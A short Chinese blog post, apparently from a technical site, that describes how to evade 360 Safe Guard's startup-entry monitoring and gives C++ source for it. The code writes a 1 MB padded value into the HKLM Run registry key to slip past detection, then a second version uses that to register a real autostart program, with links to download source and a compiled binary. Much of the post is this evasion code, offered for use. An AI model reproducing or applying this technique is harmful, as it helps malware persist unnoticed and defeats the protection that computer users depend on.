绕过360安全卫士写自启动项 能自启动[网络技术]

360安全卫士是通过轮询对比当前自启动项与先前保存的自启动项的差别来检测自启动项的增添的,一段的办法绕过它大概不是那么简单.

下面贴段代码,可以绕过360安全卫士写自启动项.

源程序:

#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
 HKEY hKey;
 char *Path,*Path2="c:\\windows\\notepad.exe   --";
 LONG ret;

 ret=RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
 if(ret)
 {
  printf("翻开注册表项失利");
  return 0;
 }

 Path=new char[1024*1024];
 memset(Path,'p',1024*1024);
 memcpy(Path,Path2,strlen(Path2));

 ret=RegSetValueEx(hKey,"TEST",0,REG_SZ,(BYTE *)Path,strlen(Path));
 if(ret==0)
 {
  printf("写入成功");
 }
 else
 {
  printf("写入失利");
 }

 return 0;
}

有人说用上面的代码固然过了360,但程序没自启动,我只想说我本来是供应一个思绪的,算了,还是全爆吧,上帝谅解我....

int _tmain(int argc, _TCHAR* argv[])
{
 HKEY hKey;
 char *Path,*Path2="c:\\windows\\notepad.exe   --";
 LONG ret;

 ret=RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
 if(ret)
 {
  printf("翻开注册表项失利");
  return 0;
 }

 Path=new char[1024*1024];
 memset(Path,'p',1024*1024);
 memcpy(Path,Path2,strlen(Path2));

 ret=RegSetValueEx(hKey,"TEST",0,REG_SZ,(BYTE *)Path,strlen(Path));
 if(ret==0)
 {
  printf("写入成功");
 }
 else
 {
  printf("写入失利");
 }

 strcpy(Path,"c:\\windows\\system32\\calc.exe");
 ret=RegSetValueEx(hKey,"TEST2",0,REG_SZ,(BYTE *)Path,strlen(Path));
 if(ret==0)
 {
  printf("写入成功");
 }
 else
 {
  printf("写入失利");
 }

 return 0;
}

源程序下载:WriteRunAnti360.rar

测试程序下载:WriteRunAnti360exe.rar